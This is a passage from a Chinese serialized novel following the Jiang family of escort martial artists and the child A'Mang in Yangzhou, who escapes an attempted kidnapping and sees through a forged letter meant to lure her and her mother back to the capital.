江祈年扭头看了一眼,飞快将自己写了半封的书信塞进书兜,起身就走。
“江祈年!”
“还没散学!”
“我上半日学就好了。”江祈年咕哝一句,恭恭敬敬朝先生作一揖,而后迅速跑掉了。
先生双眸一瞪,不可置信:“谁允的?”
“你给我回来!!!”
可惜小郎君心似铁,半个头没回。
街坊里的小孩儿没骗人,巷子里停着几辆马车,这会儿,他师兄们正卸了车上的箱子往院子里搬,哄哄闹闹的。
江祈年拎着书兜、擦着墙壁进了院子,绕过多福多寿的影壁,却在堂屋没见着爹娘,他扭头望了一圈儿,二哥二嫂也不在呢,倒是此番跟着行镖的几个师兄们,你一句我一句的描绘路途艰难,吹嘘自个儿英勇神武。
小豆苗似的小孩儿站在一群抽条少年人外不打眼,还是江祁山闻讯回来才看见他。
“怎的这会儿回来了,逃学?”江祁山不甚严厉,语气之中倒是有些无语。
他从前虽是也不爱读书,但万万不敢当着夫子的面逃学回家。反而是老二,早早背着书兜出门,晚间才回来,家里人还以为他苦读呢,爹娘欣慰的很。结果这人未过半月,整个人黑得夜间瞧不着,爹才觉察不对劲儿。
再三查探,才知这人哪里是读书啊,上树掏鸟蛋,下河摸鱼蟹,浪了小半个月,三过书塾门前而不入,倒是将家里学的功夫全用在山间打野鸡上了,老爹一根树枝险些没抽断。自那之后,江祁山去学堂,还要先将那游野山间乐不思蜀的送去。
江祈年在老实认下和撒谎间犹豫了下,选择不答,问他大哥爹娘怎么不在。
照着以往,爹和师兄们押镖回来,娘和嫂嫂们早就将热汤热饭端上来了,吃过后洗个澡要歇好久。可师兄们还在搬抬箱子,却是不见他爹娘。
江祁山想到什么,不动声色的岔开话,“去将书兜放好,一会儿开饭了。”
夏日里暑热,胃口不好。面条过了三遍凉水,配着各种菜码儿,浇了汤头,不过几筷子就下了肚。桌上还有打外面买的凉拌猪头肉,一桌人埋头呼噜呼噜的吃。
吃饱喝足,徒弟们回去歇晌了,午后还要练功呢。
江祁川三碗面条吃完,抹了抹嘴。揉着吃撑了的肚子,将自个儿给家里人买的东西翻出来分了。
“这胭脂我也瞧不大懂,但那些妇人们都争抢,想来是好东西,你们娘儿仨分一分……”
“还有扬州的点心,我都没舍得吃,都拿回来了。”
江祈年捧着碗消暑的绿豆汤小口的喝,边眼巴巴的看。
江祁川“啧”了声,掏出一仔细收着的宣纸,轻手轻脚的展开,“看这个。”说着,又故意问:“这谁啊?”
江祈年猫似的,眼睛都睁圆了,嘴唇抿着碗沿儿,甜滋滋的绿豆汤都忘喝了。
江祁川瞧得仰头乐。
杨雁正要骂他作怪,话到嘴边戛然而止,片刻,猛一拍大腿:“这画的是阿芒?!”
“可不是嘛,花了我一吊钱呢。”江祁川想起就觉肉疼的很,“送江小三也去学画吧,这营生赚钱的很!”
“这一吊钱花的值啊,”杨雁拿过二儿子手里的话,咂舌惊叹,“画得也太像了,就连阿芒头上这蝴蝶都像是真的啊。”
江祈年很快放下碗,跳下板凳儿,也仰着脑袋看阿芒。
杨雁还想收起来挂在自己房里稀罕,还没等收,小儿子一双眼睛眼巴巴的跟着她动,这当娘的哪里还能抢?
“罢了罢了,给你。”杨雁叹道,头一扭,又忍不住埋怨二儿子,“抠抠搜搜的,就画这一副够谁瞧!”
江祁川一口绿豆汤险些喷了,“我的娘啊,一吊钱都不是钱啦?”
这话也不是这么说……
“阿芒过得好不?”杨雁问,“这瞧着都瘦了,不是苦夏吧?”
“苦什么夏,胖得都沉手,”江祁川笑道。“人家跟着亲姨母,亲娘也在,哪有过得不好一说,那高门大户的,喊她表小姐呢,哈哈。”
杨雁安心许多,吩咐他们都收拾收拾,该分的分了,回屋歇着去。
沈碧玉近来与蓉娘相处得宜,主动说:“这些料子轻薄,大嫂拿去裁衣裙穿吧,我还有许多都穿不过来。”她家就是开布庄的,家里自不会苛待她,出嫁时的新衣裙便装了五箱,都是极好的料子。
妯娌俩处得好,杨雁也不去讨这个嫌管东管西的。她收拾了自个儿的,一扭头就见二儿子正管小儿子讨那幅画的银子,她没好气得一巴掌拍过去,顿听他沉沉得嘶了声。
“怎么了,路上伤着了?”杨雁愣了下,神色间多了点焦急的问。
“吓我一跳。”江祁川哈笑着说,“我奶说了,不能背后拍人,魂儿都险些拍没了。”
杨雁翻了个白眼,说老娘的魂儿都差点被你吓没。“真没事?”
“没事儿啊。”江祁川说。
他背后,沈碧玉一双细眉微蹙,欲言又止。
江祈年拿着画回了自己的屋,左瞧右瞧,哪面墙都不合心意,折腾片刻,小心翼翼的将那画收到了展青芒赠他的藏宝盒里,拎着书兜准备出门。
从后院过来,要经过园子里的凉亭时,见着他大哥和二哥坐在里面说话。
“伤得不重,也就手臂上这道口子瞧着骇人了些,这也是天热,伤口好得慢罢了,我媳妇儿没见过
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,刚都掉了金豆子呢……”江祁川哗啦啦的倒豆子。
江祁山不欲听他房中事,挑拣着问:“遇着的是山贼还是劫匪?”
“都不是。”
江祁山眉梢一挑,没说话。
“回来时遇着大雨,老爹就说在扬州停两日,也好歇歇脚。这都到了扬州,我就想着去看看阿芒,那胖丫头还怪让人惦记的,你是不知,一见着我,亲热得很,索性闲来无事,我就带她上街去耍,谁曾想,遇着的那人是个抢孩子的。”
话说至此,就连江祁山都不免诧异。
“那人一动手我就看出来了,是个练家子,拳脚功夫好得很,江南之地富庶,有那劫掠富贵人家的小儿也不足为奇,更甚者,自导自演一出,骗得员外千金,咱们也不是没见过。可那人,穿戴得比阿芒富贵的小儿不劫,被我发现动起手来时,他也不跑,倒像是冲着这丫头来的。可好端端的,抢一胖丫头做甚?”
江祁川数十日都想不明白,此刻,江祁山也难解。他道:“阿芒她爹,是因公被斩首的,一家子只剩了她娘和她姐。”
说着,江祁山偏过脸,看向江祁川,一双剑眉皱着,面色有些沉,低声道:“前些时日,听娘和我媳妇儿说,展家好像遭了强人,好在街坊邻里都在,展大姑娘也警醒,没受什么损伤。”
江祁川灵机一动:“你是觉着,这两人一伙儿的?”
“也未必不是。”
江祁川:“可这展家人丁凋零,能惹着什么人?”
兄弟俩正一筹莫展,江祁川眼睛一瞟,看见了那绿荫里的不寻常,他一掌拍在石桌,气沉丹田:“好小子,蹲在那儿偷听哥哥们说话呢!”
被抓包了,江祈年抬手拿掉了脑袋上的草,晒得发红的脸上有些懊恼。
没藏好……
“过来!”
江祁川凶巴巴的喊。
待人走过来,他抹了把小孩儿脑门儿上的汗,“都听到了?”
江祈年也没说谎,点了下头。
“不许跟爹娘讲,连你嫂子们也不能说。”
江祈年似懂非懂的应下,问:“阿芒如何了?”
“啧,”江祁川皱眉,“你怎的不先问问你二哥我!”
江祈年看着他手臂,温吞讲:“伤口深,天热,还没大好。”
“……”江祁川被他平平的调子噎了下,没好气的说:“她能如何,瞧着胖,灵活的很,我喊她跑,那丫头三下两下的窜进了街边的铺子里,出了东门进西门,别说是那贼人,就是我都瞧得眼花,还是她自个儿钻出来的。”
那日,江祁川可当真是吓了一大跳。他好端端的将人家闺女带出来,这要是不能全须全尾的给人家送回去,可怎生的好?他就是生一个赔给人家,怕是都还不起。六月暑夏里,他愣是惊了一后背的冷汗。
那时,展青芒牵着他的手,还奶声奶气的安慰他。
他说她跑得快,小孩儿骄傲挺胸,振振有词的与他讲——
“我阿姐说啦,遇着麻烦时,若不能帮人家,也万不可让自个儿成了人家的绊脚石。他都拔刀啦,我不能替你去咬他,碍手碍脚不说,我也怕他划我嘴巴呀。”
江祁川:……
19. 第 19 章
听得阿芒无事,江祈年长长的松了口气,拎着自己的书兜要走。
江祁川喊他:“哪儿去?”
“上学堂。”
“……”俩哥都哑言一瞬,江祁山道:“老实去读书,莫学你二哥逃学上山打野鸡。”
“……哦。”
“都多少年的旧事了,还翻出来寒碜我?”
“谁让你不干好事。”
午后日光晒得人眼晕,几句话罢,兄弟三个各自散了。
扬州今日阴雨,细雨绵绵落在青石板上,不消多大动静。潮湿的雨雾里,绣白兔的屏风后,小姑娘四肢伸展躺在锦绣软榻上,小肚皮一鼓一鼓的睡得正香,脚丫旁一块轻薄的小被团吧皱着。
侍女观望着时辰,片刻,步履轻轻的进来唤她:“表姑娘起床学琴啦。”
展青芒眼睛还未睁开,且先嘟囔着说自个儿病啦,今儿学不了琴。翻个身,脚丫勾着被子又呼呼大睡。
这世道重女子德行才情,可总有些既不爱书,也不爱琴,她们……喜欢喂锦鲤,和泥巴。
展青芒抱着姨母撒娇,说是不喜欢习琴,王姝也疼她,箜篌笛萧随她喜爱,展青芒挑了把竖笛,扭头就跑去园子里的池塘边,趴在石头上对着池水吹泡泡逗傻锦鲤玩儿,自个儿也玩儿得欢畅呢。
玩儿归玩儿,展青芒还是被逮了去学琴,姨母说,若实在不喜,稍学些就好了,不必精通,可这也难呀。尤其是这样好好睡的天儿……
侍女唤不醒,只得请了王婵来。王婵也无奈的很,原经那险些被劫掠一事,她还担忧闺女吓着,实则,是她杞人忧天,人家吃得下睡得香,有时说起,还要吹嘘两句自己跑得快呢。
亲娘不比侍女,展青芒再是困倦,也还是被阿娘从榻上晃起来,背着小书兜去上学了。
“噔噔噔~~~”
展青芒抬头,睁着无辜的大眼睛看着琴师。
不止她觉得习琴艰难,琴师亦如是。
就业不易,琴师叹气,她走过来教她手指:“拨琴弦时,手指要垂直于琴弦,你这根手指……”
圆圆的,软软的,也短短的。
“够不着啦,”展青芒抬起头与先生对视,又看一眼自己短短拨不到琴弦的手指,觉得它有点可怜,“它就这样短。”
琴师:……
屁股煎熬的一堂课散了,展青芒像是出笼的鸟雀,哒哒哒的跑出来,深吸一口雨后潮湿凉气。
侍女玉红瞧得好笑,接过她手里的书兜,声音轻快道:“厨下的糕点要好了,表姑娘可要回去?”
“要!”不消等她将油纸伞移过来,展青芒泥鳅似的钻进了伞下,暖乎乎的小手牵着人家的,笑嘻嘻的说:“这样咱们俩都淋不着啦!”
表姑娘没架子,总是欢欢喜喜的模样,院里上下伺候的,哪个不喜欢她?这样撑伞不合规矩,但玉红也没说什么,只走出几步,悄悄将伞面挪了挪,仔细雨水沾湿她小小的肩膀。
“今日有我的信吗?”
“有,管事的差人送来了咱们院里,还有个包裹呢,沉甸甸的。”
“哇!小财神给我寄好吃的啦!”
……
除了江祈年寄来的肉干和书信,雕花圆桌上还另有一封。
展青芒见怪不怪,瞟了一眼说:“这是第三封了吧。”
“你记性倒是好。”王婵戳她眉心,嗔道。
展青芒有些小得意,扒拉出一根肉干咬着吃,不忘给阿娘分一个。
第一封信送来时,前一日,展青芒险些遭强人劫掠了去。书信以阿姐的口吻,要她和阿娘回京。阿娘说,字迹就是阿姐的,错不了。
信中未详尽缘由,阿娘欢天喜地的收拾东西,与她说,定是阿姐后悔了,想她们了。
展青芒眨眨眼。
“给我念念。”展青芒将信塞进孙云酿手里,请求道。
孙云酿瞥她一眼,说她不好好与夫子读书,字都不识得几个。有求于人,展青芒由她嘀咕,才不说她觉得画比字好写多啦。
“……暌违日久,深感思念,水陆皆宜,还请阿娘携妹妹早日归家,女儿展青玉敬上。”
展青芒托腮听罢,又使唤人,“再念一遍。”
孙云酿:……
王家姐妹俩正整治行装,商量这个带着,那个也用得上,王婵思女心切,乐陶陶的笑模样。王姝伴在旁侧,不舍之情甚浓。
孙云酿难得好脾气,又给她念一遍。却是见展青芒摇首说这不对。
孙云酿一顿,垂首看书信,片刻抬头说:“我没有读错。”语气里多了几分底气。
“可是阿姐从不唤我妹妹的呀,”展青芒眨眨眼,“阿姐高兴时唤我阿芒,生气就喊我展青芒。”
童言稚语,却是惊得那姐妹俩回头,脸上皆是空了神色。王婵脸色唰的白了,犹如一桶凉水兜头浇下。
是她忘了。
阿玉从来是唤阿芒的,何时喊过妹妹?纵然字迹相似,可个中口吻差异,她该看出来的……
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昨日阿芒就险些被贼人抢去,她竟半分记性不长,若当真是带着阿芒北上回京,只怕是一出扬州城就落入了贼人的网,害了闺女性命。思及此,王婵悔得恨不能以头抢地。
似是看出她自责难过,展青芒过来晃着她的手臂宽慰道:“阿娘莫要难过,阿姐说过,这是当局者迷呢。左右阿芒聪明呢,会保护好阿娘的。”
展青芒心里也虚虚的,好在她记着临行船前阿姐说的话,她有好好等阿姐来接她和阿娘呢。
王婵双眼倏然一红,抱着她不禁埋首痛哭。
王姝打发了下人出去,静坐片刻,劝慰道:“好在阿芒聪慧,没酿成大祸,不然,我也一世心中不安。此事我让人去查探,你且定定心神,与阿芒这些时日少出门。”
王婵涕泪涟涟的点头。
只是,这一查便是数日未果。
接连三封信,皆是催促她们母女俩回京。可王婵往回想,实在是不觉得她们惹到了什么人。
“会不会他要寻的另有旁人?”王婵疑心道。
展青芒咬着肉干摇头,“那日江二哥带我去耍,那贼人不抓旁个,单单要抓我。江二哥喊我跑,我就跑啦,从卖胭脂的铺子跑去了买烧鹅的,又从后门拐到了旁边的酒楼,我爬到那颗大树上瞧得真真儿的,贼人打江二哥,但眼神儿却是找我的,后来还去胭脂铺找我了呢,没找到才走了。”
王婵沉默片刻,轻声说:“会不会是要绑云酿的?”
毕竟,比起她们孤儿寡母的,她那知府姐夫更容易结仇家,再说了,孙家那二房、三房的也不是安分守己的,保不齐是他们在外惹到的人寻衅报复。
“那不会!”展青芒斩钉截铁,“我比孙云酿漂亮!”
“……”
“也不对,那书信就是冲咱们来的。”王婵神思回转,叹气。
“对呀对呀。”小孩儿不知大人烦忧,童趣又天真。
展青芒吃完肉干,过去垫着脚尖洗手,用帕子擦干了,才小心翼翼的拆开小财神的信。
还好还好!
展青芒拍拍自己的小.胸口,松了一口气。小财神写的也不全是字呀。
阴雨连绵,天色黑得早,房中点了烛火,勾勒出昏昏暗暗的光景。展青芒趴在榻上,为着二人半斤八两的识字水准而欣喜,伸着肉乎乎的手指去读好友书信。
山水遥遥,小财神还在问候她端午安康呢。
王婵坐在旁侧绣帕子,心神不宁的琢磨那贼人到底所为何。
20. 第 20 章
绿树浓荫,楼台倒影,池中水鸭两只。
午后暑热未散尽,绿丛阴里蝉鸣。
李遂穿一袭薄衫,站在池边喂水鸭,忽然,一道破空风声乍起,他猛然扭头,一支羽箭擦着他脖颈,楔入身后的假山石中,铮的一声,让人毛骨悚然。
有那么一瞬,隔着一座雕梁画亭,二人对视着谁都没动。
这样的酷暑夏日里,风都是燥热难忍的。李遂额前布了层汗,半晌,微眯着眼睛似提醒道:“刺杀朝廷命官,是死罪。”
提着弓箭穿过廊亭走来的少女,闻言,脸色神情轻蔑,一双眼睛沉而寒,“那杀了驿卒的你怎的不去死?”
她眼里、语气中的恶毒太盛,倒是让李遂轻嗤了声,似无奈道:“杀那驿卒的,不是已被你使计送了命?”
展青玉不说话,过去一把抽出了假山上的羽箭,折身望向他,语气轻然:“有言道,杀戮太重,死后会堕入十八层地狱,我是不信这个的。杀人者享高官厚禄,无辜者惨遭屠戮,我没看见报应不爽。我展青玉愿意为刀供你驱使,得是我自己愿意。你的人,若是再往扬州去,下回,这箭就不会再偏一寸了。”
说罢,展青玉转身离开。
李遂望着那道远去的迤逦清影,抬手碰了下脖颈,指尖染了鲜红。他怒火中烧的骂:“真他娘的是一条疯狗!”
“可要属下去解决了她?”近卫问。
“还不到时候,她还有些用处。”李遂沉呼口气,“将派往扬州的人召回来,领三十鞭,差事办不成还打草惊蛇,没用的东西!”
“……是。”
玉带巷。
展青玉拎着条鱼回来时,正碰着对门的婶子出门买菜。
“青玉买鱼了啊,这鱼瞧着不错,欢实还肥。”
“前面张记鱼铺的,还有呢,婶子要买就快去吧。”展青玉打开自家院门说。
“嗳,好好好!”春红婶儿忙颠颠的就要去,想起什么,忽又止步。
展青玉关门的动作随之一顿。
“对了!后天啊,你别开火了,你大叔过生辰,咱们请街坊邻里的过来吃饭,一块儿热闹热闹!”
“行,多谢春红婶子。”
将鱼放在木桶里,展青玉把带回来的夏杏端了一碟子送去了隔壁,“晚间,请你家主子前来一叙。”
看门的童子悄声点头。
刮麟杀鱼,展青玉用暮食时,客方至。
展青玉抬眼看他一眼,起身去拿了一副碗筷来,“茶饭简陋,凑合吃吧。”
膏粱锦绣里长大的小公子,周身的贵气,不像是夜里翻墙的,倒像是出入太史官的,扫一眼桌上只一道红烧鱼和青菜的饭食,也不嫌弃,坦然落座动著。
展青玉吃了口鱼咽下,看着对面比自己还小的少年,道:“不如你阿姐警惕,若是我在饭菜下毒呢?”
少年笑了一下,“她身边的嬷嬷,那是制毒用药的好手。你输一筹,也不必这般意难平吧。”
展青玉肩膀微耸,没再言语。
二人对坐而食,安静吃了一餐饭。
茶水净口,少年人方才道:“你若是做菜都是这个味儿,倒是不如花一两银子,让隔壁我那小童替你烧饭。”
“……吃时不见你恁多话。”展青玉饮茶道。
“国子学里读一日书,大娘卖剩下的豆腐渣都囫囵吞下。”
展青玉眉眼稍抬,“你那马车十两金都换不来,却是连点心糕饼都装不下?”
少年叹气,“小童粗心,忘记备了。实不相瞒,这粗茶我还想再喝一碗。”
展青玉:……
一壶茶空去大半,二人才叙正话。
“阁中空出的那位子,如今可定下了?”展青玉问。
祝湘心领神会道:“你要推李遂入阁?”
“如今初议的几人,不是宁王一派,便是弄权的世家。老东西想要趁驾崩前,给他那宝贝皇孙挑拣几个忠心不二的得力能臣,李遂虽是没二两才干,但明面上也是拥立皇孙的,如今只缺一件功绩。”
“与虎谋皮,不死也伤。你今日推他上去,就不怕他转头来杀你?”
展青玉抿唇轻嘲,“不让他踩上那通天梯,怎能轻易摔死?”
“我阿姐怕是看错了,”少年放下空了的茶盏,笑道:“祝国公府只是想找一条退路,可不是自寻死路。”
展青玉看着他,莞尔道:“小公子想岔了,乱臣贼子,我也是不做的。”
--
江南夏日多雨,连绵几日。孩童不知观雨的雅静,望着那绵绵细雨,唉声叹气。
王婵在房中绣鞋,听得好笑。她抬眼看向门前坐在小板凳上忧桑的小姑娘,笑道:“不睡啦?”
往日在家里时还不显,来了扬州后,不知何故添了赖床的习性。阴雨天时,听着院子里的雨声能好眠一下午呢。
“我就是猪喽喽,也不能总是睡呀。”展青芒叹气道。
想吃小财神带她吃的烧鹅啦。
“这两日怎的不见云酿过来了,你俩又吵架了?”王婵闲来问。
展青芒摇头,“不知道呢,她不理我呢。”
那日孙云酿替她读信,她都打算不讨厌孙云酿啦。谁知第二日去读书,孙云酿将她特意带给她的粽子糖扔给了她,很是不高兴。
展青芒也不高兴了,那糖可是她来扬州时,小财神买给她的,平日自个儿都舍不得吃呢!孙云酿还扔给她!有一颗都掉在了书案下!还是她爬进去捡了回来!
她决定!
她不要喜欢孙云酿啦!
小孩子的喜欢与讨厌,随性随心的很。王婵姐妹俩也不插手她们小姐妹俩的事,问过便罢了。
倒是她,打秋风的穷亲戚,这府上的女眷都不大喜。尤其是那日在园子里轻刺了一句,那些人背后不定说什么闲话呢。想及此,王婵也轻轻叹了声气。
好在,她除了逢五逢十的大日子,会陪着阿姐去给老夫人请安,见见这府中众多人,平日里不大出院子,那些闲话也传不到她耳朵里。
展青芒双手托腮望着那被雨水啪嗒啪嗒的花朵,听得阿娘叹气,只以为她是操心自己不与孙云酿好。可是孙云酿不与她好的呀!
但这话阿芒是不会说的!
她小孩儿不要脸面的吗?
是以,托着脸蛋儿的肉手手悄悄的挪呀挪,捂住了耳朵。
她听不见呢~
这场雨后,扬州入了盛夏。
王姝带着王婵去看了几处宅院,最后定下了一座离知府府只隔两条街的小三进院子。
“真不是老妇吹嘘,这院子有天井,院子又极宽敞,浆洗晾晒那是极便利的,不必去
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前河与那些婆子小媳妇儿的抢浆洗石了,院子里还有个小园子,拾掇拾掇,春荣花绽,那是半分不输那些个大宅院的……”牙婆口齿伶俐的说和。
定下了住处,王姝差管家带人去收拾房屋,修补的、擦洗的,家里的桌椅床具都换了新,寻了个艳阳高照的黄道吉日,送王婵娘俩去了新住宅。
最欢喜的莫过于阿芒,前堂后院的奔了两个来回,一抹脑门儿上的汗津津,望着喜滋滋的脸与阿娘讲:“我去买街口婆婆的卤梅水回来!”
王婵塞给她几枚铜板,听着小姑娘叮叮当当的跑出门去。
王姝在旁,待人欢喜跑开,才低声劝道:“这巷子里虽是都住的老实本分的人家,但阿芒还小,往后需得看紧些。”
这院子里只有个看门的老妇,王姝到底是不大放心的。可再看看妹妹风韵漂亮的脸,也不好往这宅子里添年轻的奴仆,到底是好听不好说,没得坏了名声的。
王婵不敢说,往日在京中时,阿芒都是满大街的疯玩儿,颇觉心虚的囫囵点了点头。
实则,也不怪阿芒呀。
前有那封信,家里阿娘和姨母,就是出门做客都不敢带她去,生怕出了个好歹,可给人拘了一月,如今见着街上熙攘,那真真儿是小鸟飞出了樊笼,再是快意不过啦!
“要一壶梅子饮!”
展青芒将铜板往糙木桌上一拍,很是豪气。
旁边遮凉棚子下歇脚的客人,皆不禁的笑。
展青芒还不知道呢,两只手臂抱着一壶梅子饮,圆润的下巴朝巷子里一抬,道:“我家住巷子里,过会儿给你送壶呀~”
头发花白的老婆婆看她一眼,小姑娘杏眼桃腮,白白胖胖的,一瞧就是被家里精心教养的,更别说身上的绫罗衣裙,头上的珠花,寻常人家少见穿戴。
老婆婆挥了挥手,“太阳落山前给老婆子送回来就好。”
“多谢婆婆~”展青芒杏眼笑眯,羡慕的朝巷子外人来人往的长街看了眼,还是乖乖的抱着梅子饮往家走。
巷子里几个小孩儿骑木马,看见展青芒,好奇的打量几眼,互相对个眼神,便朝她跑过来。
“我们做朋友吧!”
那打头阵的大脑袋胖子说。
展青芒圆眼睛转了圈,不吭声,很是腼腆呢。
“你的梅子饮给我们喝一口,一人一口!”大脑袋理直气壮道。
他身后的几个小豆丁小鸡啄米的点头。
哦……
展青芒挨个儿数人头,一、二、三、四、五、七、四……
才四个人,不多的。
展青芒转身把自己的梅子饮藏进墙根的绿草里,然后开始撸袖子。软乎小胖脸上神情认真,“打一架吧,若我赢了,你们的木马要给我。”
小孩儿:???
几人还没反应过来怎么还要被抢,展青芒蹬蹬蹬跑近,凭借自己的重量,将那打头阵的胖子推了个屁股墩儿。
小孩儿:懵……
赢得太过轻易啦,展青芒小眼神儿鄙视的看着他们,“木马是我的啦!”
她跑去墙根儿抱起自己的梅子饮,正要去拿那晃悠的木马,就听得一声吼——
“婆婆!”
“坏孩子抢我们的木马!!!”
展青芒小脸儿一耷拉。
坏东西!
21. 第 21 章
夏日天光长,学堂散学时,日头还未落。
小孩儿们拎着书兜,三五成群的奔跑着打闹往家去,也有脚步磨蹭,为着街头那香喷喷的肉串和香甜的凉饮子驻足的。
江祈年穿着件灰白色小褂,书兜顶在脑袋上,贴着树荫墙根阴凉地慢慢的走。他到家时,练功刚歇的师兄们从隔壁院儿过来,正吊起井里浸着瓜,扯开褂子扇风,坐在檐下阴凉处啃瓜闲唠。看见他,众人招呼他过来吃瓜。
江祈年拿了一瓣,“我去放书兜。”
“你可赶紧的吧,二哥刚才还问起你回来没,今儿教考基本功,仔细被收拾一顿。”小师兄提醒他。
江祈年叹了声气,“哦。”
“江二哥这些时日也不知怎的了,脾气好大……”
“谁说不是啊,先前是大哥严苛的紧,稍有疏漏就要挨罚,如今倒好,这哥俩一个赛一个的,瞧他一脚给我踹的,都青了。”
“活该,让你基本功偷懒儿……”
众人七嘴八舌的说着那不在的人的小话,江祈年咬着西瓜往后院走。
师兄们不知道,他是知道的。
江祁川是被那去抓阿芒的人吓着了,他们是走镖的,南来北往,替人押运贵重、要紧的货物。可若功夫不到家,哪日怕是再也回不了家了。
从前练功时,江旌就常说这话。但时日一长,耳朵听出了茧子,却是忍不住的懒怠。而事教人,一遍就会。二哥先前还说,差不多就行,如今谁敢在他跟前说这话?头给你拧掉。
江祈年再是嫌热不情愿练功,这会儿也不敢再磨蹭,啃完一瓣瓜,就往隔壁院儿去了。
厨下,杨雁剁肉馅儿,晚上做臊子面吃。霹里咣当的动静,都挡不住隔壁那鬼哭狼嚎似的声儿,听得人一惊一乍,恨不得再给那院墙增厚一道、加高几尺才好。
“老二这是怎么了,这些时日这叫个下手狠,有几回那孩子过来吃饭,腿都是瘸着的。”杨雁皱着眉头啧声道。
蓉娘在旁边摘菜,轻声说:“这是好事,官人还说二弟长进了。”
“话是这么说,你是没见那日,你幺婶儿跟我说,旻郎回去腿上青了一大块儿,那个心疼劲儿哦,好像是二郎有意揍她儿子似的,听得我烦。”
“下回喊我,我去与幺婶儿讲。”蓉娘轻声笑着说。
“得了吧,你就是泥捏的性子。”杨雁说了句,想起什么,声音压低了些,与她说小话,“我还想着,老二怕不是气血方刚,他媳妇儿又刚有了身子,没地儿撒劲儿吧?”
蓉娘:……
她哪里能听小叔子的房里话?不够让人脸热的。
蓉娘正要岔开话头,杨雁已经说到了别处。
“前头那卖身葬父的女人,有阵儿没见着了,你别说,我还真怕她给老二的花肠子勾出来。”
“二弟不是那种人……”蓉娘也低声说。
杨雁刀下功夫一停,偏头看向她,神色不大赞同。“男人啊,谁知道是个什么东西,面儿上瞧着都是那正人君子,那屋前头卖酒的杨大官人,还去青楼喝花酒呢,那平日瞧着是多老实一人,要不是她媳妇儿闹起来,这谁想得到。”
蓉娘愣了下。
她平日鲜少出门,倒是真没听说这事。
“这话我不好跟老二媳妇儿讲,你听听,若是觉着中肯了,也给老二媳妇儿讲两句。”杨雁说着,头凑近些,与她低语了几句。
蓉娘霎时脸通红,霞色飞到了耳后根去,比身上的衣裙还要艳。
杨雁也觉着不自在,但这是她亲侄女儿,也是她儿媳妇儿,再再亲近不过了。蓉娘她娘去的早,这些哪有人与她讲过?
“你也别觉得臊,左右就这么回事儿,”杨雁哼声剁臊子,“男人啊,他不跟你房里使劲儿,就得去外面儿找了,你公爹这么多年,我给他管得板板正正,他要敢在外面胡来,老娘就能剁了他那第三条腿。”
蓉娘:……
她抬手用手背贴了贴滚烫的面颊,羞臊得抿唇不语。
“你身子五个月了,按说也稳了,自己仔细些。”
“娘,别说了……”蓉娘低声道。
黄昏落日里,江祁川大步过来,进来拎了个水桶。
“干什么?”杨雁问他。
“有个流鼻血了,我打桶水过去。”
杨雁一凛,狐疑瞅他,“不是你揍得吧?”
江祁川:“……哎呦,你可真是我亲娘。”
晚间吃饭,一片埋着脑袋的吸溜声儿。
江祁川一碗白面条,上面一点儿黄豆、云腿、黄瓜丝儿,他朝那装着肉臊的盆儿抬了下下巴,“来点儿臊子。”
谁知她娘白她一眼,说:“天儿这么热,吃什么肉。回去你媳妇儿闻着,再给她弄得吐了。”
江祁川:……
桌上转圈儿咯吱咯吱一阵儿的笑。
杨雁还真不是有意苛待自己儿子,沈碧玉这阵儿反应大,别说吃荤腥了,就是白粥咸菜都吃不下多少,一副病恹恹的样儿,本来就瘦,这会儿这是风吹就倒,脸都削尖了似的。
就这会儿吃饭,她都不敢喊沈碧玉来,饭菜都是端去送到院子里的,清清爽爽没沾丁点儿荤腥。
“你端回去跟你媳妇儿一道吃,她一个人在屋里冷冷清清的,你倒是吃得热闹,怎么给人家当男人的……”杨雁唠唠叨叨的说,没发现二儿子神情有一瞬的落了劲儿。
桌上,江祁山筷子一顿,觉得自己也被骂了。
他偏脸看向蓉娘,蓉娘吃面也秀气,不解的抬眼,似是在问:怎么了?
江祁山摇了下头,“臊子够不?再给你来点儿。”
蓉娘轻摇首,“够的。”
吃过饭,天色才渐渐暗下,
十几个半大少年各回各家,热闹声从屋里一路往外溜达去。
江祈年挡在伸懒腰的江旌跟前,仰着头说:“我想要一个木马。”
“啥?”江旌骨头咔咔响一半儿,停住了。
繁星满天,月色皎洁。江家几个爷们儿在院子里咔咔锯料。
不比白日里又晒又热,晚上风吹在身上丝丝的凉意,很是舒爽。
杨雁与俩儿媳坐在亭子里,桌上摆着个瓜果碟子。蓉娘和沈碧玉如今都有了身子,瓜果也没浸凉水。
杨雁啃着个桃子笑话人,“还没伺候孙子,倒是先哄儿子了。”
江旌也笑了声,直起身说:“可别说,那小子少跟家里要什么,这冷不丁的来一下,我还挺高兴。”
“你就是被折腾得不够。”
江旌哈哈笑,看着她手里的桃子也馋了,“
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你别光自己吃啊,也给我吃口。”
俩儿媳妇儿还在这儿呢,平白给看了热闹。杨雁难得老脸臊的慌,骂他:“老不正经的。”
江旌:“两口子要什么正经的。”
正说着话,江祁山从外面回来了,手里拿着张纸,“图纸要来了。”
江祁川从木料上站起身,松快了下筋骨,拖着懒洋洋的调子骂那找事儿的小崽儿,“小时候都不见得要玩儿这些个,长大了倒是幼稚了,还要玩儿木马了。”
江旌扭头瞪他,“你小时候比三郎折腾多了,有脸说这话!”
江祁川:……
他摸摸鼻子,乖巧认下了。
江旌话头却么止住,“说起你们兄弟仨,数你能磨人,今儿要个木马,明儿又要木剑了,叮里咣当的老子一天干不完的活儿。”
江旌看一眼旁边立着的大儿子,又说:“你大哥比你省心点儿,但也就半斤八两的,别看这会儿四平八稳,小时候那可没少祸祸家里的鸡,学点儿三脚猫功夫,就去找鸡逗。那会儿你叔还养着个狗,那可是,院儿里鸡飞狗跳,气得你娘拿着笤帚追着抽他。”
小院儿清净,爷们儿忙活,媳妇儿坐在一处闲话。没比这更好的日子了。
江旌咽了咽喉咙,目光从老妻脸上收回来,看向站在一处,长得比他都高了的俩儿子,“这日子多快啊。”
一晃过去许多年,俩儿子长大了,都成了亲,如今也要当爹了。
江旌哼笑着点点俩人,语气带着几分幸灾乐祸的道:“等你俩孩子生出来,可有的磨人。”
江祁川眉梢一挑,吊儿郎当道:“可别说,您小儿子还没过那岁数呢。”说着,流里流气的吹了声口哨,给老父亲气得抄起手边的木料要抽他。
江祁川一转身,躲开了。目光猝不及防的与亭子里坐着的沈碧玉对上了,脸上那故意招人的烦人劲儿还没收,就那么顿在了脸上。
“这玩意儿也不容易坏,等三郎玩儿过了年纪,正好你俩孩子也会爬会走了,到时还能用……”江旌照着油灯看图纸说。
江祁川目光慢慢收回,过去划线锯料。
屋子里,江祈年听着院儿里隐约传来的闲话声,在油灯下做今日的功课。横平竖直,无聊至极。
